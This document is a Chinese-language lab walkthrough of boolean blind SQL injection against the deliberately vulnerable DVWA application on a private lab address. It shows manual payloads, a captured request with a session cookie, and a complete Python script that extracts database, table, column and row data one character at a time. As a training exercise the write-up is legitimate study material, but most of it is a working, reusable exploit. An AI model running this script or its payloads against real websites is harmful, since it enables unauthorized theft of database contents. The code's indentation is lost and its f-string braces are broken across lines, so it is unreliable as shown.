SQL Injection (Blind)
low
根据返回页面判断语句是否正确
当 and 后接的语句为 True(1=1)时,返回 exists
当 and 后接的语句为 False(1=2)时,返回 MISSING
1' and 1=1 #
1' and 1=2 #
漏洞利用
根据语句的布尔值(正确与否),可对数据库名、字段名等信息进行爆破
爆破数据库长度
由于数据库长度比较好判断,进行手工爆破,后面爆破具体库名,表名等操作进行脚本吧爆破
提交以下代码,判断数据库名的长度是否大于十位
1' and length(database())>10 #
返回 missing 页面,说明判断错误,说明数据库名小于等于 10 位
利用二分查找法,判断数据库名长度是否小于五位
1' and length(database())<5 #
返回 missing 页面,说明判断错误,数据库长度在 5-10 位
扫描二维码关注公众号,回复:
17443501 查看本文章
几 次判断后可知数据库的长度为 8 位,判断正确,返回 exists
1' and length(database())=8 #
脚本准备
获取网站的 Cookie 值,可以 Burpsuite 抓包或者在浏览器中查看
GET /dvwa/vulnerabilities/sqli_blind/?id=1%27+and+1%3D1+%23&Submit=Submit HTTP/1.1
Host: 10.9.47.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.9.47.241/dvwa/vulnerabilities/sqli_blind/?id=1%27&Submit=Submit
Cookie: security=low; recordurl=%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%253Fa%253D1; PHPSESSID=p3bccgo7m2m8s8ae41pp6fvva1
Upgrade-Insecure-Requests: 1
经测试,发现 SQL 可能会注入用到的符号 "()_.,' =
中,
- 空格被转义成
+
,
被转义成%2C
=
被转义成%3D
#
被转义成%23
构造 payload 时注意转义
构造脚本爆破
采用按位测试的方法substr()
,逐个字母进行判断 ,最后爆破出需要的信息
exp
import string
import requests
import urllib.parse
# 对特殊字符转义
def encode(payload):
payload = payload.replace(" ", "+")
payload = payload.replace(",", "%2C")
payload = payload.replace("=", "%3D")
payload = payload.replace("#", "%23")
return payload
# 定义字符集
strings = string.digits + string.ascii_letters + '_'
str = []
for i in strings:
str.append(i)
# 接收传入的盲注页面 url
blind_url = input("输入sql盲注页面 url:")
# 拼接盲注变量
blind_url+="?id="
# 添加 Cookie
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Cookie": "security=low; recordurl=%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%253Fa%253D1; PHPSESSID=p3bccgo7m2m8s8ae41pp6fvva1"
}
# 爆破数据库名
def db_name():
database_name=""
print("爆破当前数据库****************************************************************************************")
for i in range(1,9):
# 每位遍历字母数字下划线
for j in str:
payload = f"1' and ascii(substr(database(),{
i},1))={
ord(j)} #"
# 对特殊字符转码
payload = encode(payload)
attack_url = f"{
blind_url}{
payload}&Submit=Submit#"
res = requests.get(url=attack_url,headers=headers)
if "exists" in res.text:
print(j,end="")
break
print()
def table():
print("爆破表名*********************************************************************************************")
for i in range(0, 600):
# flag 用于避免爆破完每张表的继续进行多余爆破
flag = 0
# end 用于避免爆破完表继续进行多余爆破
end = 0
# 假设每个表的表名最长30位,每个表名按位查询
for j in range(1, 30):
for name_str in str:
payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {
i},1),{
j},1))={
ord(name_str)} #"
# 对特殊字符转码
payload = encode(payload)
attack_url = f"{
blind_url}{
payload}&Submit=Submit#"
res = requests.get(url=attack_url,headers=headers)
if "exists" in res.text:
if end==0:
print(f"[{
i + 1}]", end="")
print(name_str, end="")
# 该表名非空(未达到最大表数量)
end = 1
break
elif name_str == '_':
flag = 1
break
# 跳出超过表长,跳出循环
if flag == 1:
break
# 爆破的数据表超过最大数量,跳出循环
if end == 0:
break
print()
def column():
print("爆破字段*********************************************************************************************")
table_name = input("输入要爆破的表名:")
# 跑第0-100个字段
for i in range(0, 100):
end = 0
# 假设每个表的字段名最长30位,每个字段名按位查询
for j in range(1, 30):
flag = 0
for name_str in str:
payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name='{
table_name}' limit {
i},1),{
j},1))={
ord(name_str)} #"
# 对特殊字符转码
payload = encode(payload)
attack_url = f"{
blind_url}{
payload}&Submit=Submit#"
res = requests.get(url=attack_url,headers=headers)
if "exists" in res.text:
if end == 0:
print([i + 1], end="")
end = 1
flag = 1
print(name_str, end="")
break
# 超过该字段长度,跳出循环,开始爆破下个字段
if flag == 0:
break
print()
if end == 0:
break
def data():
print("爆破数据*********************************************************************************************")
table=input("输入要爆破的表名")
column = input("输入要爆破的字段:")
# 跑第0-100个用户名
for i in range(0, 100):
end = 0
# 假设每个用户的表名最长100位,每个用户名按位查询
for j in range(1, 100):
flag = 0
for name_str in str:
payload = f"1' and ascii(substr((select {
column} from {
table} limit {
i},1),{
j},1))={
ord(name_str)} #"
# 对特殊字符转码
payload = encode(payload)
attack_url = f"{
blind_url}{
payload}&Submit=Submit#"
res = requests.get(url=attack_url,headers=headers)
if "exists" in res.text:
end = 1
flag = 1
print(name_str, end="")
break
if flag == 0:
break
print()
if end == 0:
break
try:
db_name()
table()
column()
while(True):
choice = input("是否爆破其他表(yes or no):")
if choice=="yes":
column()
else:
break
data()
while(True):
choice = input("是否爆破其他字段(yes or no):")
if choice=="yes":
data()
else:
break
except:
print("something error")
pass